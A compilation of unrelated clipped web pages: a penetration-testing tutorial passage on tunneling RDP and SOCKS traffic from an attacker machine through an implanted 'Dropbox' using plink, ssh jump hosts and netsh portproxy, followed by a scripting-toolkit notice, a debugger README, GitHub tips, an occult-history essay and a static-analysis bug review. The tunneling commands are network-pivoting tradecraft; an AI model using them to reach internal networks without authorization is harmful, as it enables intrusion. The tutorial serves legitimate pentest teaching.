command”, copy plink.exe to the same directory you are running the command
from \(e.g. your .ssh directory\).

To understand what this command is doing, we really need to look at it in
reverse order. The first thing that happens is the command that follows
“-proxycmd” is executed. The proxycmd portion of the command is shown below.

**_plink root@%EXTERNAL\_IP% -P 443 -i at.ppk -nc 127.0.0.1:5001_**

The state of our connection after just this proxycmd runs is shown below. The
“-nc” portion of the command tells plink to open a tunnel to 127.0.0.1 port
5001 instead of a session.

<img src='img/Temp2_8267.png' width='690' height='172' />

Next, we look at the first half of the plink link command. This actually runs
after the proxycmd shown above.

**_plink -i at.ppk root@%EXTERNAL\_IP% -P 5001 -L 3390:%TARGET\_IP%:3389_**

This SSH connection is established through the tunnel previously created with
proxycmd. This is why it has access to the internal port listening on port
5001. The last part of the command uses the Local Port Forward option “-L” to
send anything connecting to local port 3390 through the tunnel to port 3389 on
the Target. After the full command runs, this is what we have created.

<img src='img/Temp2_8278.png' width='690' height='170' />

Note that we chose local port 3390 because Windows complains with a “Your
computer could not connect to another console” error as shown below if you try
to connect to localhost 3389 with the RDP client.

<img src='img/Temp2_8272.png' width='570' height='145' />

Finally, we can now RDP from our Attacker system to the Target system with the
Windows built in RDP client.

<img src='img/Temp2_8273.png' width='690' height='461' />

For the “User name” field you can use “.\username” to login using a local
account. If using a domain account, be sure to include the domain name
followed by a backslash \(e.g. “intdomain\carrie”\).

Instead of trying to RDP to the internal network, what if we wanted to use an
Internet Browser on our Attacker machine as if it was on the internal network.
This can be done with the following modification to the plink command run from
the Attacker system.

**_plink -i at.ppk root@%EXTERNAL\_IP% -P 5001 -D 9999 -proxycmd “plink
root@%EXTERNAL\_IP% -P 443 -i at.ppk -nc 127.0.0.1:5001”_**

After executing this command, configure the browser on the Attacker system to
use the socks proxy on localhost 9999. You can do this in Firefox by going to
Settings \(the hamburger menu in the upper right\)Options, search for “Proxy”
and then click “Settings…” next to “Configure how Firefox connects to the
Internet”.

<img src='img/Temp2_8276.png' width='690' height='808' />

Make sure that “Socks v5” is selected, as well as “Proxy DNS when using SOCKS
v5”. Clear out anything listed in the “No Proxy for” text box, then click OK.
You can now browse the Internal network from a browser on your Attacker system
as if the browser was on the Dropbox.

You could use the FoxyProxy addon to quickly change proxy servers in Firefox
and Chrome. This is how you would configure this using FoxyProxy.

<img src='img/Temp2_8265.png' width='690' height='419' />

Chrome, IE and Edge use the System Proxy settings. You could change the system
proxy to point to your dynamic Socks proxy on port 9999 but you might be
sending more traffic to the internal network than just your browser traffic,
which may be undesirable. I recommend using Firefox because it manages its own
proxy settings apart from the System proxy. Or, you can use the Foxyproxy
Addon with either Firefox or Chrome to control the proxy directly.

We have finished out walkthrough using a Windows Attack system and a Linux
Dropbox. For the next scenario, let’s swap out the Windows Attacker system for
a Linux one as shown in the image below.

<img src='img/Temp2_8266.png' width='690' height='170' />

The commands executed on the Dropbox are going to remain the same as in the
first scenario. The only command this will change is the command executed from
the Attacker system. From a terminal window on the Attacker system we define
our IP addresses:

**_EXTERNAL\_IP=208.8.8.8_**  
  
** _TARGET\_IP=10.2.2.222﻿_**

Then execute the following SSH command from the same terminal window.

**_ssh -i at.key root@127.0.0.1 -p 5001 -L 3390:$TARGET\_IP:3389 -J
root@$EXTERNAL\_IP:443_**

Now have a full communication path from port 3390 on our Attacker machine all
the way to port 3389 on our Target server. We can use any Linux RDP client to
connect to our Target. For this example, I will use xfreerdp which can be
installed with the following command. Xfreerdp is recommended over rdesktop
because it readily supports NLA.

**_sudo apt install freerdp2-x11_**

To connect to the Target server, we simply specify the username and the host
we want to connect to and we will be prompted to enter the password for the
user.

**_xfreerdp /u:carrie /v:127.0.0.1:3390_**

Remember to include the Active Directory domain name along with the username
if you are connecting as a domain user.

**_xfreerdp /u:intdomain\carrie /v:127.0.0.1:3390_**

As an alternative to running the long SSH command above we can add the
following to our SSH config file \(/root/.ssh/config\) on the Attacker system.

**_Host external_**

**_Hostname 208.8.8.8_**

**_User root_**

**_Port 443_**

**_IdentityFile ~/.ssh/at.key_**

**_Host dropbox_**

**_Hostname 127.0.0.1_**

**_User root_**

**_Port 5001_**

**_ProxyCommand ssh external -W %h:%p_**

**_IdentityFile ~/.ssh/at.key_**

With our SSH config file in place, our command is simplified to the following
for forwarding RDP to the Target system.

**_ssh -L 3390:$TARGET\_IP:3389 dropbox_**

Or, if we want to create a dynamic Socks proxy, use the following command. It
allows us to use a browser on the Attack machine as if it was on the Target
Internal network.

**_ssh -D 9999 dropbox_**

This completes our second scenario. Now let’s switch out the Linux Dropbox
with a Windows Dropbox. This could be a system we literally put on the Target
Internal network or one that already existed that we now have access to
execute commands on. The drawing below shows the starting point for this
scenario.

<img src='img/Temp2_8268.png' width='690' height='170' />

First, we’ll set up a local port listen on 3390 and forward it to our Target
on port 3389. Running this command required administrative access, which you
can get by right clicking on cmd.exe and selecting “run as administrator”.

**_netsh interface portproxy add v4tov4 listenaddress=127.0.0.1
listenport=3390 connectaddress=10.2.2.222 connectport=3389_**

Now we have the following piece of the communication channel set up.

<img src='img/Temp2_8274.png' width='690' height='173' />

Here are some netsh notes that you might like to know for later but don’t run
them now. To delete the rule we just added, change “add” to delete in the
command above.

To show the proxy rules use the “show all” command

**_netsh interface portproxy show all_**

And to clear out all of the port proxies use “reset”

**_netsh interface portproxy reset_**

Now we just need to execute the two commands we learned about earlier to
complete the setup, one from the Dropbox and one from the Attacker system.
From the Dropbox, run the following commands from the directory containing the
at.ppk private key and the plink executable.

**_set EXTERNAL\_IP=208.8.8.8_**

**_plink -i at.ppk root@%EXTERNAL\_IP% -P 443 -L 5001:127.0.0.1:3390_**

At this point, we have the following pieces of the communication channel in
place.

<img src='img/Temp2_8270.png' width='690' height='172' />

From the Attacker machine running Linux execute the commands below. Note that
this assumes the SSH config file \(/root/.ssh/config\) described earlier in
this tutorial has been created.

**_TARGET\_IP=10.2.2.222_**

**_ssh -L 3390:$TARGET\_IP:3389 dropbox_**

Now we have the full communication path ready to go.

<img src='img/Temp2_8264.png' width='690' height='171' />

Finally, RDP from the Attacker machine to the Target system. The example here
uses xfreerdp.

**_xfreerdp /u:intdomain\carrie /v:127.0.0.1:3390_**

Alternatively, instead of setting up for RDP access, we could set up for
Browser access. This does not require administrative access to run command on
the Windows Dropbox. The “netsh interface portproxy …” command is not used in
this case. From the Attacker system run the following command.

**_ssh -D 9999 dropbox_**

Lastly, configure your browser to use a Socks proxy on localhost 9999 after
running this command. Remember, for this browsing option, we have no need for
the “netsh interface portproxy …” command, therefore we can we can browse the
Target Internal network without having administrative access to our Windows
Dropbox

Thank you to Carrie Roberts for another terrific guest blog.

**_Enjoy this post? Share it on Twitter\!_**

For Penetration Testing, Security Assessments, Red Team Engagements, and
Threat Hunting: Contact Us\!

### Share this:

  * Click to share on Twitter \(Opens in new window\)
  * Click to share on LinkedIn \(Opens in new window\)
  * 1Click to share on Facebook \(Opens in new window\)1
  * Click to print \(Opens in new window\)
  * 

### _Related_

#### Deploy REMnux to the Cloud, Reverse Engineering Malware in the Cloud

Carrie Roberts//\* REMnux is a free virtual machine image with Reverse
Engineering Malware tools preinstalled. REMnux is maintained by Lenny Zeltser
with extensive help from David Westcott and is available from
https://remnux.org. I have created an Amazon AMI image from the current
version of the image so you can easily create an instance of REMnux…

February 1, 2018

In "How-To"

<img src='img/SHHazam.jpg' width='350' height='122' alt='SSHazam: Hide Your C2
Inside of SSH' />

#### SSHazam: Hide Your C2 Inside of SSH

January 8, 2019

In "How-To"

#### Deploying a WebDAV Server

Carrie Roberts // There are various reasons why having a webDAV server comes
in handy. The main reason I created one was to execute a malicious Outlook
rule attack as part of a pentest as described here. In my case, I configured
the webDAV server to be read-only so that…

November 9, 2016

In "Red Team"

  

# All in one scripting Toolkit in single ISO — PenTestIT

**Created:**| _6/20/2010 10:29:34 PM_  
---|---  
**Updated:**| _6/20/2010 10:29:52 PM_  
**Author:**| __  
**Tags:**| _security tools Live Distri scripting_  
  

# All in One Scripting Toolkit ISO\!

JUNE 17, 2010 16:24 PM · 0 COMMENTS

by BLACK

in MISCELLANEOUS, OPEN SOURCE, REVERSE ENGINEERING

Scripting Toolkit CD is distributed by SAPIEN. They have some nice and huge
collection of scripting Toolkit.

This CD contains copies of all of free tools, trial versions of Sapien’s paid
applications, samples of their awesome ebooks and training videos and other
cool stuff\!

All of this stuff is available individually for download, but there is also
the ISO imagethat we use to burn all of this cool stuff onto CD. So with one
rather large download, you can get the full CD’s worth of scripting tools. Its
been named the Community Scripting Toolkit CD ISO\!

It has a lot of tools, that can be used for scriping purposes with many
different languages.

Download scripting toolkit **here**

  *[JUNE 17, 2010 16:24 PM]: 2010-06-17 16:24

# dshikashio/Pybag

**Created:**| _7/17/2017 11:21:12 AM_  
---|---  
**Updated:**| _7/17/2017 11:21:12 AM_  
**Author:**| __  
**Tags:**| __  
  

  

[code]

    Pybag
    
    
    Introduction
    ============
    
    Pybag combines MS DebugEngine bindings with additional helper functions for a
    powerful Windows debugging module.
    
    
    Install
    =======
    
    Prerequisites must already be installed.  Paths might need to be
    adjusted in __init__.py and setup.py
    
        
        python setup.py install
    
    Or download a release package and install.
    
    Requires
    ========
    
    * Python 2.7
    * Capstone
    * Windows Development Kit for Windows 10
    ** Debugging Tools
    ** Headers and Libraries
    * Microsoft Visual C++ Compiler for Python 2.7 (only if building from source)
    
    Run
    ===
    
    c:\>python 
    >>> import pybag
    >>> dbg = pybag.pywindbg.Userdbg()
    >>> dbg.create('calc.exe')
    >>> dbg.cmd('.symfix')
    >>> dbg.cmd('.reload')
    >>> dbg.go()
        
        *** hit contrl-c to break ***
    
    >>> dbg.peb()
    >>> help(dbg)
    
    
    
    
    TODO
    ====
    
    - Dynamically resolve install path for SDK
    - Replace pefile
    - Add some tests
    - Remote debugging using dbgsrv
    - More helper functions
    - Better examples
    - Better x64 vs x86 handling
    
[/code]

  

# GitHub Secrets - GitHub

**Created:**| _10/24/2011 11:35:59 AM_  
---|---  
**Updated:**| _10/24/2011 11:35:59 AM_  
**Author:**| __  
**Tags:**| _Git collab_  
  

  * ## GitHub Secrets
<img src='img/Temp2_3497.png' width='16' height='16' alt='alt' /> holman
October 21, 2011

Over the years we've added quite a bit of stuff to GitHub. Sometimes we ship
huge features, sometimes we ship small, lesser-known bonus features.

Let's talk about some of those secret features you may not know about.

### Whitespace

<img src='img/Temp2_3500.png' alt='whitespace' />

Ever have someone push a commit that involves a lot of real changes mixed in
with a bunch of less-meaningful whitespace? Add **?w=1** to the URL to see the
diff with whitespace ignored.

### Cross-Repository Issue References

<img src='img/Temp2_3496.png' alt='reference' />

Sure, GitHub's all about social coding, but you can have social repositories,
too. You can reference issues between repositories by mentioning
**user/repository\#number** in an issue. Once we see something like that —
say, github/enterprise\#59 — we'll make sure to update issue \#59 in github's
enterprise repository and let you know where it was referenced from. This is a
part of GitHub Flavored Markdown, which also has a few tricks of its own.

### Hot Branch on Branch Pull Request Action

<img src='img/Temp2_3493.png' alt='pull branches' />

Pull Requests are awesome. They make it really easy to merge code between
forks. But did you know you can use Pull Requests between branches, on the
same repository? You don't need to fork repositories to use Pull Requests.
Internally at GitHub, we almost always use Pull Requests between branches.

### .diff, .patch

<img src='img/Temp2_3494.png' alt='patch' />

Part of the power Git had from the start was the ability to generate quick
diff and patch files for use with email lists and quick one-off text
exchanges. GitHub's no different. Just add **.diff** or **.patch** at the end
of the URL for a **commit page** , **Pull Request** , or **Compare View** and
we'll show you the plaintext view of that page.

### w & t

<img src='img/Temp2_3499.png' alt='tw' />

Navigate your project quickly. On your repository's home page, type **w** to
quickly bring up a quick filter panel for your branches. Inside of your
repository, type **t** to jump into a quick file selector. Select your file,
hit enter, and you're gold. There's also a slew of other shortcut keys you can
use, depending on the page- just hit **?** to see them.

### Filter Notifications by Repository or User

<img src='img/Temp2_3498.png' alt='listid' />

Email notifications for Issues, Pull Requests, and Gists can easily be
filtered by the `List-ID` header. Look for this header value to sort your
notifications, or even forward them to a more appropriate email account. You
can filter on **\*.org.github.com** to filter out emails by organization, or
**repo.org.github.com** to filter out emails from a specific repo.

### Subscribe to Threads

<img src='img/Temp2_3495.png' alt='subscribe' />

Now that you've got your mail filtering notifications, did you know you can
let us know which threads to keep you notified on? On the bottom of the page,
you can scroll down and click **Enable notifications** and we'll send you a
notification when it's been updated. This works for issues, commit notes, pull
requests... you name it. Too much email? You can disable it just as easily.

# Typhonic Strands and AMOOKOS | The Blog of Baphomet
**Created:**| _11/6/2021 5:52:48 PM_  
---|---  
**Updated:**| _11/6/2021 5:52:48 PM_  
**Author:**| __  
**Tags:**| __  
  

  

May 2, 2017

#  Typhonic Strands and AMOOKOS

What follows is far from definitive, but hopefully allows for further
reflection and an appreciation of the unique contribution that the Amookos
\(Arcane and Magickal Order Of the Knights Of Shambhala\) current has made to
the current magical revival.

In considering my own magical development, and the role that the Amookos work
has had in shaping my evolution, I was struck by some of the often unspoken
commonalities that seem to be shared between some of the main practitioners
within the tradition. When assessing the contribution and histories of those
adepts whose work I have come to respect, I have been struck by the
significant influence of what we might broadly describe as the Typhonian
tradition.

While we may gain much from an in-depth discussion as to what we mean by the
descriptor ‘Typhonian’, for the purposes of this reflection I am using it to
broadly categorize those people who have been shaped significantly by the
work, ideas and writing of Kenneth Grant. As I hope will become clear, the
people who have been involved with the Amookos work have each taken his
inspiration in unique and interesting directions, but have a shared
appreciation of the spiritual terrain he was seeking to map.

The genesis of Amookos is often considered to be the result of Mike Magee’s
\(Sri Lokanath\) initiatory relationship with Sri Mahendranath \(Dadaji\) and
the seismic impact that this had on his personal magical universe. While the
encounter with Dadaji was undoubtedly powerful in setting Mike along a path
via which he came to be recognized as an expert Sanskrit scholar and
translator of key Tantric texts, I have often wondered whether the richness of
the Amookos current is derived from a more complex interplay.

<img src='img/kennethandmike.jpg' width='474' height='357' />

Mike writes: “This picture is of Kenneth and me in 1978 in our flat in Golders
Green, just round the corner from where he lived. I am missing him. He was a
master of wisdom. I venerate his memory.”

Prior to this shift Mike had worked for some seven years with Kenneth Grant
and while he was clear on the profound change wrought by contact with the
Dadaji, it would be fair to speculate as to the degree that his earlier work
with Grant continued to be foundational. We know from Grant’s history \(as
depicted within _At the Feet of the Guru_\) that he himself had had direct
contact with Yogic teaching and technique, and Mike is quite open about how
the presence of this material in his work with Grant catalyzed his own journey
eastwards. Prior to travelling to India and encountering Dadaji, Mike had
already begun mantra work, embarked on in-depth studies of Sidereal astrology
and Sanskrit, and was familiar with Kashmir Shaivism. While the work with
Grant was undoubtedly rich and challenging, he was unable to offer Mike the
type of direct initiatory experience he was seeking in order to affirm the
knowledge he had gained.

Far be it from me to make comment on the internal dynamics of a Guru-Chela
relationship and the whole complex of relationships and community politics
that resulted from Sri Lokanath’s work with Dadaji. As some may know, much ink
has been spilt and opinion expressed as to how Dadaji’s declining health
impacted on his relationships with those close to him. What I feel to be
worthwhile, is to describe my own sense of why I and others continue to
experience the idea and curriculum of Amookos as having spiritual value.

Having spent significant parts of my adolescence exploring the spiritual
traditions of Buddhism and Hinduism, when I began training as a magician in my
mid-20s, the East-West synthesis that I experienced in the Amookos work made a
great deal of sense to me. Here was a magical group that made use of Yogic
technique and perspectives while at the same time incorporating the liberty
and self-determination associated with the philosophy of Thelema.

My own route into the Amookos work was via the writing and inspiration of Mogg
Morgan. I was fortunate to receive some mentoring from Mogg over a number of
years and was eventually given diksha by him. Mogg’s work with the Egyptian
God Set is well known and he is quite open about the early impact that his
time in Kenneth Grant’s Typhonian Order \(the then _Typhonian Ordo Templi
Orientis_ , TOTO\) had on his magical development.

Having made some links with Mogg via the Oxford Golden Dawn Society, I dug
into his Tankhem writings that sought to draw parallels between the God Set
and the path of Tantra. What could the recovery of the myth of this “Hidden
God” reveal about the diversity of the Egyptian tradition; and how might
Tantric and early Hermetic traditions cross-fertilize? This is heady
territory, and part of my own desire for closer links with Amookos were
significantly influenced by Mogg’s interest in the early history of these
Typhon-Tantra links.

As I dove into the Amookos grade papers \(published as _Tantra Magick_\) I was
struck by the helpful way in which Mike sought to lead the aspirant through a
process of self-understanding that would allow for the cultivation of
Svvechacharya \(true Will\). The path of Tantra is often described as that of
the Virya, or hero, and when expressed within the tribe of practitioners of
the Nath sampradya, the Thelemic goal of awakening and self-sovereignty seemed
especially to the fore.

<img src='img/kalachakrasera.jpg' width='474' height='475' />

Kalachakra thangka painted in Sera Monastery, Tibet.

For me, the beauty of Tantra Magic as a curriculum is that rather than being
left with a vague sense that we should pursue “Peace, Freedom and Happiness”,
we are given some clear exercises to help us in developing a more Tantric
appreciation of our lives. Time does not allow a full exposition here, but Sri
Lokanath does a masterful job in exploring themes as wide ranging as the
awakening of the senses, the nature of time, and the conscious use of the
persona in interacting with the world. Mike does a gallant job in wrestling
with the Tantric project of engaging with the realm of the body and life’s
earthiness as a means of awakening, and seeking to answer the question of what
it might mean to become more fully human.

The heydays of Amookos in the early 1980s provided both inspiration and
direction for innovative magicians on both sides of the Atlantic. Not only do
we have the emergence of Chaos Magic \(again heavily influenced by Grant\),
but we also have the Voudon-Gnostic research of Michael Bertiaux \(see _Cult
of the Shadow_\) and the Post-Satanic work of Michael Aquino as manifest in
the Temple of Set. For me personally, one key figure to emerge from this
occult maelstrom was Maggie Ingalls.

Known more commonly as Nema, Ingalls worked directly with Grant within the
TOTO and her inspired engagement with Frater Achad’s work with the Aeon of
Maat is described in some detail by Grant in _Outside the Circles of Time_.
Via her work with Maat, Nema received a channelled work via an androgynous
figure from the future that she identified as N’Aton. For her, the Aeons of
Horus and Maat formed a complementary whole or “double current”, with the
scales of Maat providing a feminine counter-balance to the surging energy of
the conquering child. In addition to working with a collective of ritual
magicians in the Cincinnati area, Nema was also an initiate within the Amookos
tradition. While I may be unfamiliar with many of the adepts working at this
time, figures such as Denny Sargent \(Hermeticusnath\) and Jan Fries were also
instrumental in articulating a fusion of Typhonian, Maatian and Nath-Tantric
currents.

<img src='img/naton.jpg' width='250' height='300' />

Horus-Ma’at Lodge – N’Aton

I hope what this potted history is helping to illustrate is that there seems
to be lots of thoughtful, creative magicians finding inspiration from both the
Yogic approach of Amookos and the more creative, nightside explorations of the
Typhonian current. While this is an interesting intersect to note, perhaps the
more pressing \(and interesting\) question is to why these approaches are
experienced as being complimentary?

Like his teacher Crowley, Grant’s genius is arguably that he was both a great
innovator and a great assimilator of other sources. In his desire to explore
mystery, Grant engaged with a broad range of occult practitioners \(Crowley,
Spare, Bertiaux and Nema\) and filtered their insights through his own magical
imagination. In considering the commonalities between the luminaries that
inspired him, I am struck by their shared engagement with the unconscious and
their use of visual art as a means of accessing it.

Grant’s magical exploration of both dark Stygian depths and weird stellar
realms seem to embody a more Lunar-Vaginal Thelema in contrast to Crowley’s
Solar-Phallic one. Of course we are grappling here with binaries and the
dangers of over-simplification, but it does feel that Crowley’s somewhat
outdated, linear Victoriana was counter-balanced brilliantly by Grant’s
strange, writhing surrealism.

For me this is where the strength of something like the Amookos work comes
into its own. While Kenneth Grant’s work is strong in the evocation of mood
and sense of how strange the magical universe can be, arguably he is weaker at
communicating what precisely one does \(in terms of technique\) to actually
get and remain there.

If Crowley \(and Parsons\) introduced us to the way in which the pursuit of
Babalon can fuel our personal Grail quest, then Grant confronts us with the
disturbing cost that the pursuit of Shakti might entail. If we seek an
experience of the Goddess that moves beyond two-dimensional wish-fulfillment,
then it is likely that we will need to make contact with those sources that
have evolved a deeper appreciation. For me it feels likely that part of the
attraction to Tantra for second and third generation Thelemites is the way in
which it offers richer, time-tested means for experiencing She who births,
loves and destroys.

Balance is always difficult to maintain, both in terms of our own personal
equilibrium and in addressing the various domains of magical development
within the context of an Order. Active skills versus cultivating receptivity,
prescription versus personal liberty, and group versus solo practice are all
competing needs that we seek to balance in ensuring a holism to our learning.
In my experience curriculums such _Liber MMM_ and _Tantra Magick_ tend to have
an enduring value in that they provide substance and suggestion without
demanding adherence to material that may not fit too well with individual
disposition. As Mike himself states in _Tantra Magick_ :

> This expression of the I Ching reveals the dynamic magick of AMOOKOS. The
> Ridgepole is the fluid yet equipoised point existing between the two states
> of active/passive. Tantra Magick, p93.
Having waxed lyrical for over 1,500 words about the benefits that working with
this curriculum offers those wanting a deeper experience of the Thelemic and
Typhonian currents, one may rightly wonder, “Well, why isn’t Amookos that
functional as an Order anymore?” The answer to this question is complex in
that it is connected to the question of whether we believe formal magical
Orders remain valuable; and also, which measure we use in quantifying success.

While formal Orders may have a specific and valuable role in the early stages
of a person’s magical development, I would wonder whether longer term
involvement is essential as a universal aspiration. Social media and a greater
espousal of “Open Source” philosophy, mean that for many there is far easier
access these days to both arcane information and the possibility of discussing
its meaning with others. While I still personally believe that there is much
to gain from experiencing the demands and checks that Orders can provide, I am
also aware that much energy can be expended in political struggles and in
perpetuating ideas that while once helpful are now largely irrelevant.

Many of those people who were members of Grant’s TOTO report the rather
strange experience of having made progress and then having been kicked out.
Now while on one level this might appear a bit odd, it may be an initiatory
masterstroke\! If we reflect upon the way in which a variety of adepts have
taken their initial inspiring experience of the Typhonian current and then
dispersed it more widely into occult culture, then we might begin to wax
lyrical about dandelions succeeding at the point at which they manage to
disperse their seed to the wind.

In many ways I see the current role of Amookos as being quite similar to this.
As a functional Order that convenes lots of lively gatherings it’s frankly a
bit of a failure \(at least currently in the UK\!\). What I do think it
succeeds in doing is in providing a node of practice, thought and inspiration
around how we integrate Yogic thinking with Thelemic philosophy in its
broadest sense. It is my hope that it can still offer some supportive
mentoring and friendship to those wanting to evolve a more balanced Magical
path in which solar, lunar, light and shadow are allowed to dance together. By
seeking to make transparent the ongoing influence of the Typhonian tradition
on its form of Tantra, it is my hope that we can move beyond over-dependence
on idealized teachers, or the pursuit of a style of Hindu re-enactment that
fails to bring us closer to greater freedom. As Mike wisely observes in the
introduction to _Tantra Magic_ :

> If the work of the Amookos grades was successful, an individual would
> finally realise that the grades and work were simply a means to an end, to
> be discarded once the essence was extracted. … Names such as Nath, and
> groups such as Amookos, could only remain as relative things. When spirit is
> free, what matter the name its outer form is given?
**SD**

_Many thanks to Mike Magee and Mogg Morgan for giving this piece the once-over
and filling in some historical gaps._**_J_**

### Share this:

  * Twitter
  * Facebook
  * 

Loading...

### _Related_

In Search of Depth – A Review of ‘The Magickal Union of East and West’ by
Gregory PetersOctober 17, 2017In "books"

Enter “The Dark Lord” – a review of the work of Peter LevendaSeptember 12,
2014Reblogged by 1 person

Review: Hine’s Varieties Chaos and Beyond by Phil HineFebruary 6, 2020In
"books"

This entry was posted in occult history and tagged AMOOKOS, steve dee, tantra,
typhonian.  
Bookmark the permalink.  
7 Comments  

# PVS-Studio: analyzing ReactOS’s code – Blogs - Intel® Software Network

**Created:**| _9/13/2011 10:09:00 PM_  
---|---  
**Updated:**| _9/14/2011 9:09:00 AM_  
**Author:**| __  
**Tags:**| _code-review analysis opinion static_  
  

# PVS-Studio: analyzing ReactOS's code

###  By Andrey Karpov \(47 posts\) on September 11, 2011 at 8:46 pm

<img src='img/Temp2_6085.png' width='384' height='216' alt='PVS-Studio vs
ReactOS' />

Having checked ReactOS's code I managed to fulfill three of my wishes at once.
Firstly, I had wanted for a long time to write an article on a common project.
It's not interesting to check the source code of projects like Chromium: its
quality is too high and a lot of resources are spent to maintain it, which are
unavailable to common projects. Secondly, it's a good example to demonstrate
the necessity of static analysis is in a large project, especially when it is
developed by a diverse and distributed team. Thirdly, I've got a confirmation
that PVS-Studio is becoming even better and more useful.

## PVS-Studio is becoming better and better

I will start with the last point regarding the advantages of PVS-Studio tool.
ReactOS indirectly confirms that PVS-Studio is developing in a right
direction. Here is the news about checking ReactOS with such heavyweight as
Coverity - "Coverity Redux" \[1\]. Of course, I understand that our tool's
capabilities are far more modest than those of Coverity. However, PVS-Studio
finds a whole lot of errors where Coverity has found "a few new errors".
Besides, you are not forced to send the code anywhere; you can just pick up
and check any project. It means we're on the right track.

## What is ReactOS?

ReactOS is a contemporary, free and open-source operating system based on
Windows XP/2003 architecture. The system was written from scratch and has the
purpose of replicating the Windows-NT architecture created by Microsoft on all
the layers from hardware to application layer. The size of the source code in
C, C++ and Assembler is about 220 Mbytes.

References:

  * ReactOS Site.
  * Start Developing ReactOS. 
  * Wikipedia. ReactOS.
  * ReactOS - Open-Source Windows Clone Software To Seriously Look Forward To.

## Errors in ReactOS

Now let's speak about the whole lot of errors I have found in ReactOS's code.
Of course, I won't describe them all in the article. Here I have laid out a
text file with descriptions of errors found during analysis. The file contains
diagnostic messages with file names and line numbers. I have also arranged the
errors in a form of short code inserts and commented upon them. That's why
those of you who would like to edit ReactOS should rely upon that file and not
this article.

Or rather download PVS-Studio and check the project yourselves. You see, I'm
not familiar with the project, so I copied out only those errors that I've
understood. And regarding many fragments, I don't know if they contain errors
or not. So my analysis is rather superficial. We will provide you a
registration key if you want to check the project.

Errors you may come across in ReactOS are very diverse. It's a zoo of errors,
really. There are misprints of one character.

[code]

    BOOL WINAPI GetMenuItemInfoA(...)
    {
      ...
      mii->cch = mii->cch;
      ...
    }
[/code]

This is how it should be actually written: "mii->cch = miiW->cch;". The letter
'W' was lost. As a result, applications can't trust the GetMenuItemInfoA
function.

Here you are another misprint of one character. This time it's incorrect
comparison of two names.

[code]

    static void _Stl_loc_combine_names(_Locale_impl* L,
      const char* name1, const char* name2,
      locale::category c)
    {
      if ((c & locale::all) == 0 || strcmp(name1, name1) == 0)
      ...
    }
[/code]

Operators && and & are mixed up. It's a very common error. I come across it
virtually in every project where bits or file attributes are being handled.

[code]

    static LRESULT APIENTRY ACEditSubclassProc()
    {
      ...
      if ((This->options && ACO_AUTOSUGGEST) &&
          ((HWND)wParam != This->hwndListBox))
      ...
    }
[/code]

This is how the correct code must look: "\(This->options &
ACO\_AUTOSUGGEST\)". The sample below contains a similar error which causes
the whole condition to be false all the time.

[code]

    void adns__querysend_tcp(adns_query qu, struct timeval now) {
      ...
        if (!(errno == EAGAIN || EWOULDBLOCK || errno == EINTR ||
            errno == ENOSPC || errno == ENOBUFS || errno == ENOMEM)) {
      ...
    }
[/code]

If you look closely, you may notice an insidious fragment: "|| EWOULDBLOCK
||".

By the way, in ReactOS I have found a lot of conditions which are always true
or false. Some of them are not dangerous because, for instance, they are
located in the assert\(\) macro. But, in my opinion, there are some conditions
which are crucial as well.

[code]

    INT WSAAPI
    connect(IN SOCKET s,
            IN CONST struct sockaddr *name,
            IN INT namelen)
    {
      ...
      /* Check if error code was due to the host not being found */
      if ((Status == SOCKET_ERROR) &&
          (ErrorCode == WSAEHOSTUNREACH) &&
          (ErrorCode == WSAENETUNREACH))
      {
      ...
    }
[/code]

You agree that the implementation of functions like "connect" should be tested
as thoroughly as possible, don't you? But here we have a condition which is
always false. It's not easy to notice the defect quickly, so let me explain
the error:

[code]

    (ErrorCode == 10065) && (ErrorCode == 10051)
[/code]

By the way, the part relating to sockets looks very raw. Perhaps it is
explained by the fact that it's an accepted practice to define SOCKET as a
signed type in the Linux world, while in Windows it's unsigned:

[code]

    typedef UINT_PTR SOCKET;
[/code]

As a result, we have various errors in comparison operations:

[code]

    void adns_finish(adns_state ads) {
      ...
      if (ads->tcpsocket >= 0) adns_socket_close(ads->tcpsocket);
      ...
    }
[/code]

The "ads->tcpsocket >= 0" expression is meaningless since it's always true.

There are simply odd fragments. Most likely, these are incomplete or forgotten
code fragments.

[code]

    if (ERROR_SUCCESS == hres)
    {
      Names[count] = HeapAlloc(GetProcessHeap(), 0, strlenW(szValue) + 1);
      if (Names[count])
         strcmpW(Names[count], szValue);
    }
[/code]

Why would you call the "strcmpW", if you will not use the result in any way?

There are errors in operations' priorities.

[code]

    VOID NTAPI
    AtapiDmaInit(...)
    {
      ...
      ULONG treg = 0x54 + (dev < 3) ? (dev << 1) : 7;
      ...
    }
[/code]

I will add parentheses to show how this expression really works:

[code]

    ULONG treg = (0x54 + (dev < 3)) ? (dev << 1) : 7;
[/code]

The next error can always be found in any large project. There are a couple of
these errors in ReactOS too. I mean the extra semicolon - ';'.

[code]

    BOOLEAN
    CTEScheduleEvent(PCTE_DELAYED_EVENT Event,
                     PVOID Context)
    {
      ...
      if (!Event->Queued);
      {
        Event->Queued = TRUE;
        Event->Context = Context;
        ExQueueWorkItem(&Event->WorkItem, CriticalWorkQueue);
      }
      ...
    }
[/code]

I am also fond of errors related to the initialization of array items. I don't
know why. They are touching. Maybe it's just memories of my first experiments
with arrays in Basic.

[code]

    HPALETTE CardWindow::CreateCardPalette()
    {
      ...
      //include button text colours
      cols[0] = RGB(0, 0, 0);
      cols[1] = RGB(255, 255, 255);
    
      //include the base background colour
      cols[1] = crBackgnd;
    
      //include the standard button colours...
      cols[3] = CardButton::GetHighlight(crBackgnd);
      cols[4] = CardButton::GetShadow(crBackgnd);
      ...
    }
[/code]

I may continue citing various interesting code fragments. Unfortunately, the
article will become too long then so I have to stop. Let me remind you that
you can read about the errors found in ReactOS in this file. I will only cite
the following piece of code for dessert:

[code]

    #define SWAP(a,b,c)  c = a;\
                         a = b;\
                         a = c
[/code]

An example of how it was used:

[code]

    BOOL FASTCALL
    IntEngGradientFillTriangle(...)
    {
      ...
      SWAP(v2,v3,t);
      ...
    }
[/code]

This is a masterpiece.

## Static code analysis

I find ReactOS a very good example of a project where regular static analysis
is a mandatory necessity. The reason is not the developers' skill. It's
because the project is very large and contains various subsystems. It means
that there are always a lot of people working on such a project. And in a
large team there are always people whose programming skill is relatively worse
or better; some programmers use one style and others use another style. But
nobody is safe from errors. Look at the following code.

This is just what one person had written in ReactOS:

[code]

    if ((res = setsockopt(....) == -1))
[/code]

The code doesn't work as it was intended. The correct code is the following:
if \(\(res = setsockopt\(....\)\) == -1\). If you adhere to practice of always
writing a constant in the beginning, you will never make a wrong assignment
inside the "if" operator. We have a different sort of error here. But if you
follow the rule above when writing the code, then you won't make a mistake in
